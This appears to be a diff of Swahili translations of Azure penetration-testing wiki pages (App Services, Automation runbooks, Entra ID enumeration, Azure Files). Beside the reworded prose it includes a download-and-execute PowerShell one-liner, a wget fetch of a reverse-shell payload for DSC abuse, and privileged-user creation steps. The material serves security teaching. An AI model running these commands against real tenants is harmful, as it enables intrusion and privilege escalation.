Ili kuorodhesha huduma unaweza kutumia skripti [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
```bash
# List Docker images inside the registry
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")

View File

@@ -4,12 +4,12 @@
## App Service Basic Information
Azure App Services inaruhusu waendelezaji **kuunda, kupeleka, na kupanua programu za wavuti, nyuma za programu za simu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha kazi na usimamizi.
Azure App Services inaruhusu waendelezaji **kuunda, kupeleka, na kupanua programu za wavuti, nyuma za programu za rununu, na APIs bila shida**. Inasaidia lugha nyingi za programu na inajumuisha zana na huduma mbalimbali za Azure kwa ajili ya kuboresha kazi na usimamizi.
Kila programu inafanya kazi ndani ya sandbox lakini kutengwa kunategemea mipango ya App Service
- Programu katika ngazi za Free na Shared zinafanya kazi kwenye VMs za pamoja
- Programu katika ngazi za Standard na Premium zinafanya kazi kwenye VMs maalum
- Programu katika ngazi za Bure na Kushiriki zinafanya kazi kwenye VMs za pamoja
- Programu katika ngazi za Kawaida na Premium zinafanya kazi kwenye VMs maalum
> [!WARNING]
> Kumbuka kwamba **hakuna** ya kutengwa hizo **zinazuia** udhaifu mwingine wa kawaida wa **wavuti** (kama vile kupakia faili, au sindano). Na ikiwa **utambulisho wa usimamizi** unatumika, inaweza kuwa na uwezo wa **kuinua mamlaka kwao**.
@@ -22,16 +22,16 @@ Kwa kweli baadhi ya **vipengele vinavyohusiana na usalama** ambavyo huduma za pr
## Basic Authentication
Unapounda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka Uthibitishaji wa Msingi uwekwe. Hii kimsingi **inawezesha SCM na FTP** kwa programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo.\
Unapounda programu ya wavuti (na kazi ya Azure kwa kawaida) inawezekana kuashiria ikiwa unataka Uthibitishaji wa Msingi uwekwe. Hii kimsingi **inawezesha SCM na FTP** kwa ajili ya programu ili iwezekane kupeleka programu kwa kutumia teknolojia hizo.\
Zaidi ya hayo ili kuungana nazo, Azure inatoa **API inayoruhusu kupata jina la mtumiaji, nenosiri na URL** ya kuungana na seva za SCM na FTP.
- Uthibitishaji: az webapp auth show --name lol --resource-group lol_group
SSH
Always On
Daima On
Debugging
Kukarabati
### Enumeration

View File

@@ -15,7 +15,7 @@ Inafanya kazi kama ifuatavyo:
1. Baada ya mtumiaji kufikia programu kupitia kiunganishi, mtumiaji anapelekwa kwenye **ukurasa wa kuingia wa Azure AD**.
2. Baada ya **kuingia kwa mafanikio**, Azure AD inatuma **token** kwa kifaa cha mteja wa mtumiaji.
3. Mteja anatumia token kwa **huduma ya Application Proxy**, ambayo inapata jina la msingi la mtumiaji (UPN) na jina la msingi la usalama (SPN) kutoka kwa token. **Application Proxy kisha inatuma ombi kwa kiunganishi cha Application Proxy**.
4. Ikiwa umeweka muunganisho wa mara moja, kiunganishi kinafanya **uthibitishaji wa ziada** wowote unaohitajika kwa niaba ya mtumiaji.
4. Ikiwa umeweka kuingia mara moja, kiunganishi kinafanya **uthibitishaji wa ziada** wowote unaohitajika kwa niaba ya mtumiaji.
5. Kiunganishi kinatuma ombi kwa **programu ya ndani**.
6. **Jibu** linatumwa kupitia kiunganishi na huduma ya Application Proxy **kwa mtumiaji**.

View File

@@ -4,11 +4,11 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Ili kutekeleza **miundombinu kama msimbo kwa suluhisho zako za Azure**, tumia Azure Resource Manager templates (ARM templates). Template ni faili ya JavaScript Object Notation (**JSON**) ambayo **inafafanua** **miundombinu** na usanidi wa mradi wako. Template inatumia sintaksia ya kutangaza, ambayo inakuwezesha kusema kile unachokusudia kupeleka bila kuandika mfululizo wa amri za programu kuunda hiyo. Katika template, unataja rasilimali za kupeleka na mali za rasilimali hizo.
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Ili kutekeleza **miundombinu kama msimbo kwa suluhu zako za Azure**, tumia Azure Resource Manager templates (ARM templates). Template ni faili ya JavaScript Object Notation (**JSON**) ambayo **inafafanua** **miundombinu** na usanidi wa mradi wako. Template inatumia sintaksia ya kutangaza, ambayo inakuwezesha kusema kile unachokusudia kupeleka bila kuandika mfululizo wa amri za programu ili kuunda. Katika template, unataja rasilimali za kupeleka na mali za rasilimali hizo.
### History
Ikiwa unaweza kuipata, unaweza kuwa na **habari kuhusu rasilimali** ambazo hazipo lakini zinaweza kupelekwa katika siku zijazo. Zaidi ya hayo, ikiwa **parameta** inayoshikilia **habari nyeti** iligongwa kama "**String**" **badala** ya "**SecureString**", itakuwa katika **maandishi wazi**.
Ikiwa unaweza kuifikia, unaweza kupata **habari kuhusu rasilimali** ambazo hazipo lakini zinaweza kupelekwa katika siku zijazo. Zaidi ya hayo, ikiwa **parameta** inayoshikilia **habari nyeti** iligongwa kama "**String**" **badala ya** "**SecureString**", itakuwa ipo katika **maandishi wazi**.
## Search Sensitive Info

View File

@@ -4,13 +4,13 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation inatoa huduma ya automation ya msingi ya wingu, masasisho ya mfumo wa uendeshaji, na huduma ya usimamizi wa usanidi inayounga mkono usimamizi thabiti katika mazingira yako ya Azure na yasiyo ya Azure. Inajumuisha automation ya mchakato, usimamizi wa usanidi, usimamizi wa masasisho, uwezo wa pamoja, na vipengele tofauti.
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation inatoa huduma ya automation ya msingi ya wingu, masasisho ya mfumo wa uendeshaji, na huduma ya usanidi inayounga mkono usimamizi thabiti katika mazingira yako ya Azure na yasiyo ya Azure. Inajumuisha automation ya mchakato, usimamizi wa usanidi, usimamizi wa masasisho, uwezo wa pamoja, na vipengele tofauti.
Hizi ni kama "**scheduled tasks**" katika Azure ambazo zitakuruhusu kutekeleza mambo (vitendo au hata scripts) ili **kusimamia**, kuangalia na kuunda **mazingira ya Azure**.
### Run As Account
Wakati **Run as Account** inatumika, inaunda **application** ya Azure AD yenye cheti kilichojisaini yenyewe, inaunda **service principal** na inatoa jukumu la **Contributor** kwa akaunti katika **subscription** ya sasa (privileges nyingi).\
Wakati **Run as Account** inatumika, inaunda **application** ya Azure AD yenye cheti kilichojisaini, inaunda **service principal** na inatoa jukumu la **Contributor** kwa akaunti katika **subscription** ya sasa (privileges nyingi).\
Microsoft inapendekeza kutumia **Managed Identity** kwa Akaunti ya Automation.
> [!WARNING]
@@ -29,16 +29,16 @@ Nenda kwa `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/
Runbook inaweza kutekelezwa katika **konteina ndani ya Azure** au katika **Hybrid Worker** (mashine isiyo ya azure).\
**Log Analytics Agent** inapelekwa kwenye VM ili kuisajili kama mfanyakazi wa hybrid.\
Majukumu ya mfanyakazi wa hybrid yanatekelezwa kama **SYSTEM** kwenye Windows na akaunti ya **nxautomation** kwenye Linux.\
Kila Mfanyakazi wa Hybrid anasajiliwa katika **Hybrid Worker Group**.
Majukumu ya mfanyakazi wa hybrid yanakimbia kama **SYSTEM** kwenye Windows na akaunti ya **nxautomation** kwenye Linux.\
Kila Hybrid Worker inasajiliwa katika **Hybrid Worker Group**.
Hivyo, ikiwa unaweza kuchagua kutekeleza **Runbook** katika **Windows Hybrid Worker**, utaweza kutekeleza **amri za kawaida** ndani ya mashine ya nje kama **System** (mbinu nzuri ya pivot).
## Compromise State Configuration (SC)
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** ni huduma ya usimamizi wa usanidi wa Azure inayokuruhusu kuandika, kusimamia, na kukusanya PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) kwa nodi katika wingu lolote au kituo cha data cha ndani. Huduma pia inaagiza [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), na inatoa usanidi kwa nodi lengwa, yote katika wingu. Unaweza kufikia Azure Automation State Configuration katika lango la Azure kwa kuchagua **State configuration (DSC)** chini ya **Configuration Management**.
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** ni huduma ya usimamizi wa usanidi wa Azure inayokuruhusu kuandika, kusimamia, na kuunda PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) kwa nodi katika wingu lolote au kituo cha data cha ndani. Huduma pia inaingiza [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), na inatoa usanidi kwa nodi lengwa, yote katika wingu. Unaweza kufikia Azure Automation State Configuration katika lango la Azure kwa kuchagua **State configuration (DSC)** chini ya **Configuration Management**.
**Taarifa nyeti** zinaweza kupatikana katika usanidi huu.
**Sensitive information** inaweza kupatikana katika usanidi huu.
### RCE
@@ -120,11 +120,11 @@ start-sleep 20
> [!NOTE]
> Unaweza kufanya jambo hilo hilo kwa kubadilisha Run Book iliyopo, na kutoka kwenye console ya wavuti.
### Hatua za Kuweka Mchakato wa Kuunda Mtumiaji mwenye Haki za Juu Kiotomatiki
### Hatua za Kuweka Mchakato wa Kuunda Mtumiaji wa Juu Kiotomatiki
#### 1. Anzisha Akaunti ya Kiotomatiki
- **Hatua Inayohitajika:** Unda Akaunti mpya ya Kiotomatiki.
- **Hatua Inayohitajika:** Unda Akaunti Mpya ya Kiotomatiki.
- **Mipangilio Maalum:** Hakikisha "Create Azure Run As account" imewezeshwa.
#### 2. Ingiza na Weka Mchakato wa Kuendesha
@@ -145,7 +145,7 @@ start-sleep 20
- **Majukumu ya Kuteua:**
- Msimamizi wa Mtumiaji
- Mmiliki wa Usajili
- **Lengo:** Gawa majukumu haya kwa Akaunti ya Kiotomatiki kwa ruhusa zinazohitajika.
- **Lengo:** Teua majukumu haya kwa Akaunti ya Kiotomatiki kwa ruhusa zinazohitajika.
#### 5. Ufahamu wa Kupoteza Upatikanaji

View File

@@ -31,7 +31,7 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
```
#### Step 4 — Prep Kali Box
- Seva ya Kali inapakua mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
- Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```

View File

@@ -4,11 +4,11 @@
## Taarifa za Msingi
Azure Active Directory (Azure AD) inatumika kama huduma ya Microsoft ya msingi ya wingu kwa usimamizi wa utambulisho na ufikiaji. Inasaidia wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, lango la Azure, na maombi mengine mengi ya SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, hasa ikiwa ni pamoja na **uthibitishaji, ruhusa, na usimamizi wa watumiaji**.
Azure Active Directory (Azure AD) inatumika kama huduma ya Microsoft ya msingi ya wingu kwa usimamizi wa utambulisho na ufikiaji. Inasaidia wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, lango la Azure, na maombi mengine mengi ya SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, ikiwa ni pamoja na **uthibitishaji, ruhusa, na usimamizi wa watumiaji**.
Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganisho usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinainua kwa kiasi kikubwa usalama wa utambulisho wa watumiaji na kuipa mashirika uwezo wa kutekeleza na kufuata sera zao za ufikiaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji katika wingu.
Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganisho usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinainua kwa kiasi kikubwa usalama wa utambulisho wa watumiaji na kuipa mashirika uwezo wa kutekeleza na kusimamia sera zao za ufikiaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji kwa kutumia wingu.
## Uhesabu
## Uhesabuji
### **Muunganisho**
@@ -149,9 +149,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Wakati unapo **ingia** kupitia **CLI** kwenye Azure na programu yoyote, unatumia **Azure Application** kutoka **tenant** inayomilikiwa na **Microsoft**. Programu hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. Hutaweza **kuona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa default**.
Wakati unapo **ingia** kupitia **CLI** kwenye Azure kwa programu yoyote, unatumia **Azure Application** kutoka **tenant** inayomilikiwa na **Microsoft**. Programu hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. Hutaweza **kuona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa default**.
Kwa mfano, **powershell script** inayofanya **uthibitisho** inatumia programu yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama programu hiyo haionekani kwenye console, sysadmin anaweza **kuzuia programu hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia programu hiyo.
Kwa mfano, **powershell script** inayofanya **uthibitisho** inatumia programu yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama programu hiyo haitappear kwenye console, sysadmin anaweza **kuzuia programu hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia programu hiyo.
Hata hivyo, kuna **client-ids nyingine** za programu ambazo **zitakuruhusu kuungana na Azure**:
```powershell
@@ -302,15 +302,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
```
### MFA & Sera za Upatikanaji wa Masharti
Inapendekezwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaweka au zinaweza kuziweka kwa Upatikanaji wa Masharti: Mtumiaji atakuwa **na hitaji la MFA ikiwa** anaingia kutoka eneo fulani, kivinjari au **hali fulani**. Sera hizi, ikiwa hazijapangwa vizuri zinaweza kuwa na uwezekano wa **kupitishwa**. Angalia:
Inapendekezwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaweka au zinaweza kuziweka kwa Upatikanaji wa Masharti: Mtumiaji atakuwa **na hitaji la MFA ikiwa** ataingia kutoka eneo fulani, kivinjari au **hali fulani**. Sera hizi, ikiwa hazijapangwa vizuri zinaweza kuwa na uwezekano wa **kupitishwa**. Angalia:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Vikundi
### Makundi
Kwa maelezo zaidi kuhusu vikundi vya Entra ID angalia:
Kwa maelezo zaidi kuhusu makundi ya Entra ID angalia:
{{#ref}}
../az-basic-information/
@@ -398,8 +398,8 @@ Wamiliki wa kundi wanaweza kuongeza watumiaji wapya kwenye kundi
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Makundi yanaweza kuwa ya kidinamik, ambayo kimsingi inamaanisha kwamba **ikiwa mtumiaji anatimiza masharti fulani atajumuishwa katika kundi**. Bila shaka, ikiwa masharti yanategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia kipengele hiki vibaya ili **kuingia katika makundi mengine**.\
> Angalia jinsi ya kutumia vibaya makundi ya kidinamik katika ukurasa ufuatao:
> Makundi yanaweza kuwa ya kidinamik, ambayo kimsingi inamaanisha kwamba **ikiwa mtumiaji atatimiza masharti fulani ataongezwa kwenye kundi**. Bila shaka, ikiwa masharti yanategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia kipengele hiki vibaya ili **kuingia kwenye makundi mengine**.\
> Angalia jinsi ya kutumia vibaya makundi ya kidinamik kwenye ukurasa ufuatao:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -603,7 +603,7 @@ Kwa maelezo zaidi kuhusu Maombi angalia:
Wakati programu inaundwa aina 2 za ruhusa zinatolewa:
- **Ruhusa** zinazotolewa kwa **Huduma Kuu**
- **Ruhusa** zinazotolewa kwa **Huduma Kiongozi**
- **Ruhusa** ambazo **programu** inaweza kuwa nazo na kutumia kwa **niaba ya mtumiaji**.
{{#tabs }}
@@ -657,13 +657,13 @@ Get-AzADAppCredential
> Kwa maelezo zaidi [**angalia hii**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Mstari wa siri ambao programu inatumia kuthibitisha utambulisho wake wakati wa kuomba token ni nenosiri la programu.\
> Mfuatano wa siri ambao programu inatumia kuthibitisha utambulisho wake wakati wa kuomba token ni nenosiri la programu.\
> Hivyo, ukipata **nenosiri** hili unaweza kufikia kama **service principal** **ndani** ya **tenant**.\
> Kumbuka kwamba nenosiri hili linaonekana tu wakati linapotengenezwa (unaweza kulibadilisha lakini huwezi kulipata tena).\
> Kumbuka kwamba nenosiri hili linaonekana tu linapozalishwa (unaweza kulibadilisha lakini huwezi kulipata tena).\
> **Mmiliki** wa **programu** anaweza **kuongeza nenosiri** kwake (ili aweze kujifanya kuwa yeye).\
> Kuingia kama hawa service principals **hakutajwi kuwa na hatari** na **hawatakuwa na MFA.**
> Kuingia kama hawa service principals **hakutajwi kuwa na hatari** na hawatakuwa na MFA.**
Inawezekana kupata orodha ya App IDs zinazotumiwa mara kwa mara zinazomilikiwa na Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Inawezekana kupata orodha ya App IDs zinazotumika mara kwa mara zinazomilikiwa na Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
@@ -890,43 +890,43 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
{{#endtab }}
{{#endtabs }}
## Entra ID Privilege Escalation
## Kuinua Mamlaka ya Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Kuinua Mamlaka ya Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## Mekanismu za Kijamii
### Privileged Identity Management (PIM)
### Usimamizi wa Utambulisho wa Kipekee (PIM)
Privileged Identity Management (PIM) katika Azure inasaidia **kuzuia mamlaka kupita kiasi** kutolewa kwa watumiaji bila sababu.
Usimamizi wa Utambulisho wa Kipekee (PIM) katika Azure husaidia **kuzuia mamlaka kupita kiasi** kutolewa kwa watumiaji bila sababu.
Moja ya sifa kuu zinazotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa wakuu ambao wako hai kila wakati, lakini kuwafanya **kuwa na haki kwa kipindi fulani (mfano miezi 6)**. Kisha, kila wakati mtumiaji anapotaka kuanzisha jukumu hilo, anahitaji kuomba akionyesha muda anahitaji mamlaka (mfano masaa 3). Kisha **admin anahitaji kuidhinisha** ombi hilo.\
Kumbuka kwamba mtumiaji pia atakuwa na uwezo wa kuomba **kupanua** muda.
Moja ya sifa kuu zinazotolewa na PIM ni kwamba inaruhusu kutokutoa majukumu kwa wakuu ambao wanafanya kazi kila wakati, lakini kuwafanya **kuwa na haki kwa kipindi fulani (mfano miezi 6)**. Kisha, kila wakati mtumiaji anapotaka kuanzisha jukumu hilo, anahitaji kuomba akionyesha muda anahitaji mamlaka (mfano masaa 3). Kisha **meneja anahitaji kuidhinisha** ombi hilo.\
Kumbuka kwamba mtumiaji pia atakuwa na uwezo wa kuomba **kuongeza** muda.
Zaidi ya hayo, **PIM inatuma barua pepe** kila wakati jukumu lenye mamlaka linapopewa mtu.
Zaidi ya hayo, **PIM inatuma barua pepe** kila wakati jukumu la kipekee linapopewa mtu.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Wakati PIM imewezeshwa, inawezekana kuweka kila jukumu na mahitaji fulani kama:
Wakati PIM imewezeshwa, inawezekana kusanidi kila jukumu na mahitaji fulani kama:
- Muda wa juu (masaa) wa kuanzishwa
- Hitaji la MFA wakati wa kuanzishwa
- Hitaji la muktadha wa uthibitishaji wa Upatikanaji wa Masharti
- Hitaji la sababu wakati wa kuanzishwa
- Hitaji la taarifa za tiketi wakati wa kuanzishwa
- Hitaji la taarifa ya tiketi wakati wa kuanzishwa
- Hitaji la idhini ili kuanzisha
- Muda wa juu wa kuisha kwa ugawaji unaostahiki&#x20;
- Muda wa juu wa kuisha kwa assignments zinazostahiki&#x20;
- Mengi zaidi ya usanidi kuhusu wakati na nani wa kutuma arifa wakati vitendo fulani vinapotokea na jukumu hilo
### Conditional Access Policies <a href="#title-text" id="title-text"></a>
### Sera za Upatikanaji wa Masharti <a href="#title-text" id="title-text"></a>
Angalia:
@@ -934,21 +934,21 @@ Angalia:
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Entra Identity Protection <a href="#title-text" id="title-text"></a>
### Ulinzi wa Utambulisho wa Entra <a href="#title-text" id="title-text"></a>
Entra Identity Protection ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au kuingia kuna hatari kubwa** kukubaliwa, ikiruhusu **kuzuia** mtumiaji au jaribio la kuingia.
Ulinzi wa Utambulisho wa Entra ni huduma ya usalama inayoruhusu **kubaini wakati mtumiaji au kuingia kuna hatari kubwa** ili kukubaliwa, ikiruhusu **kuzuia** mtumiaji au jaribio la kuingia.
Inaruhusu admin kuiseti ili **kuzuia** majaribio wakati hatari ni "Chini na juu", "Kati na juu" au "Juu". Ingawa, kwa kawaida ime **zimwa** kabisa:
Inaruhusu meneja kuisakinisha ili **kuzuia** majaribio wakati hatari ni "Chini na juu", "Kati na juu" au "Juu". Ingawa, kwa kawaida imewekwa **imezimwa**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Sasa hivi inapendekezwa kuongeza vizuizi hivi kupitia sera za Upatikanaji wa Masharti ambapo inawezekana kuweka chaguo sawa.
> Sasa inashauriwa kuongeza vizuizi hivi kupitia sera za Upatikanaji wa Masharti ambapo inawezekana kusanidi chaguo sawa.
### Entra Password Protection
### Ulinzi wa Nywila wa Entra
Entra Password Protection ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ni kipengele cha usalama ambacho **kinasaidia kuzuia matumizi mabaya ya nywila dhaifu kwa kufunga akaunti wakati majaribio kadhaa yasiyofanikiwa ya kuingia yanapotokea**.\
Inaruhusu pia **kuzuia orodha ya nywila maalum** ambayo unahitaji kutoa.
Ulinzi wa Nywila wa Entra ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ni kipengele cha usalama ambacho **husaidia kuzuia matumizi mabaya ya nywila dhaifu kwa kufunga akaunti wakati majaribio kadhaa yasiyofanikiwa ya kuingia yanapotokea**.\
Inaruhusu pia **kufungia orodha ya nywila maalum** ambayo unahitaji kutoa.
Inaweza **kutumika kwa kiwango cha wingu na pia kwenye Active Directory ya ndani**.
@@ -956,7 +956,7 @@ Njia ya kawaida ni **Ukaguzi**:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## Marejeleo
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)

View File

@@ -4,7 +4,7 @@
## Basic Information
**Azure Files** ni huduma ya kuhifadhi faili ya wingu inayosimamiwa kikamilifu ambayo inatoa uhifadhi wa faili wa pamoja unaopatikana kupitia protokali za kawaida za **SMB (Server Message Block)** na **NFS (Network File System)**. Ingawa protokali kuu inayotumika ni SMB, ushirikiano wa faili za NFS Azure hauungwa mkono kwa Windows (kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Inakuwezesha kuunda ushirikiano wa faili za mtandao zenye upatikanaji wa juu ambazo zinaweza kufikiwa kwa wakati mmoja na mashine nyingi za virtual (VMs) au mifumo ya ndani, ikiruhusu ushirikiano wa faili bila mshono kati ya mazingira.
**Azure Files** ni huduma ya kuhifadhi faili ya wingu inayosimamiwa kikamilifu ambayo inatoa uhifadhi wa faili wa pamoja unaopatikana kupitia protokali za kawaida za **SMB (Server Message Block)** na **NFS (Network File System)**. Ingawa protokali kuu inayotumika ni SMB, ushirikiano wa faili za NFS Azure hauungwa mkono kwa Windows (kulingana na [**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Inakuwezesha kuunda ushirikiano wa faili wa mtandao wenye upatikanaji wa juu ambao unaweza kufikiwa kwa wakati mmoja na mashine nyingi za virtual (VMs) au mifumo ya ndani, ikiruhusu ushirikiano wa faili bila mshono kati ya mazingira.
### Access Tiers
@@ -26,7 +26,7 @@
- **On-premises AD DS Authentication**: Inatumia akidi za Active Directory za ndani zilizounganishwa na Microsoft Entra ID kwa upatikanaji wa msingi wa utambulisho. Inahitaji muunganisho wa mtandao kwa AD DS ya ndani.
- **Microsoft Entra Domain Services Authentication**: Inatumia Microsoft Entra Domain Services (AD ya wingu) kutoa upatikanaji kwa kutumia akidi za Microsoft Entra.
- **Microsoft Entra Kerberos for Hybrid Identities**: Inawawezesha watumiaji wa Microsoft Entra kuthibitisha ushirikiano wa faili za Azure kupitia intaneti kwa kutumia Kerberos. Inasaidia mashine za virtual zilizounganishwa na Microsoft Entra au zilizounganishwa na Microsoft Entra bila kuhitaji muunganisho kwa wakala wa kikoa wa ndani. Lakini haisaidii utambulisho wa wingu pekee.
- **AD Kerberos Authentication for Linux Clients**: Inaruhusu wateja wa Linux kutumia Kerberos kwa uthibitisho wa SMB kupitia AD DS ya ndani au Microsoft Entra Domain Services.
- **AD Kerberos Authentication for Linux Clients**: Inawawezesha wateja wa Linux kutumia Kerberos kwa uthibitisho wa SMB kupitia AD DS ya ndani au Microsoft Entra Domain Services.
## Enumeration
@@ -88,7 +88,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
### Connection
Hizi ndizo skripti zilizopendekezwa na Azure wakati wa uandishi wa kuunganisha File Share:
Hizi ndizo skripti zilizopendekezwa na Azure wakati wa kuandika kuunganisha File Share:
Unahitaji kubadilisha `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` na `<FILE-SHARE-NAME>` maeneo ya nafasi.
@@ -139,7 +139,7 @@ az-storage.md
## Kuinua Haki
Kama vile privesc ya hifadhi:
Vivyo hivyo na privesc ya hifadhi:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
@@ -153,7 +153,7 @@ Kama vile privesc ya hifadhi:
## Kudumu
Kama vile kudumu kwa hifadhi:
Vivyo hivyo na kudumu kwa hifadhi:
{{#ref}}
../az-persistence/az-storage-persistence.md

View File

@@ -11,24 +11,24 @@
### Different Plans
- **Flex Consumption Plan**: Inatoa **kupanua kwa njia ya matukio, inayotegemea mahitaji** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya kuwa bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
- **Flex Consumption Plan**: Inatoa **kupanua kwa nguvu, inayotokana na matukio** na bei ya kulipa kadri unavyotumia, ikiongeza au kuondoa mifano ya kazi kulingana na mahitaji. Inasaidia **mtandao wa virtual** na **mifano iliyotayarishwa awali** ili kupunguza kuanza baridi, na kuifanya iwe bora kwa **mizigo inayobadilika** ambayo haitahitaji msaada wa kontena.
- **Traditional Consumption Plan**: Chaguo la seva isiyo na msingi, ambapo unalipa tu kwa rasilimali za kompyuta wakati kazi zinakimbia. Inapanuka kiotomatiki kulingana na matukio yanayoingia na inajumuisha **mipango ya kuanza baridi**, lakini haisaidii kutekeleza kontena. Inafaa kwa **mizigo ya muda mfupi** inayohitaji kupanuka kiotomatiki.
- **Premium Plan**: Imeundwa kwa ajili ya **utendaji thabiti**, ikiwa na **wafanyakazi waliotayarishwa awali** ili kuondoa kuanza baridi. Inatoa **nyakati za utekelezaji zilizopanuliwa, mtandao wa virtual**, na inasaidia **picha za Linux za kawaida**, na kuifanya kuwa bora kwa **maombi muhimu** yanayohitaji utendaji wa juu na vipengele vya juu.
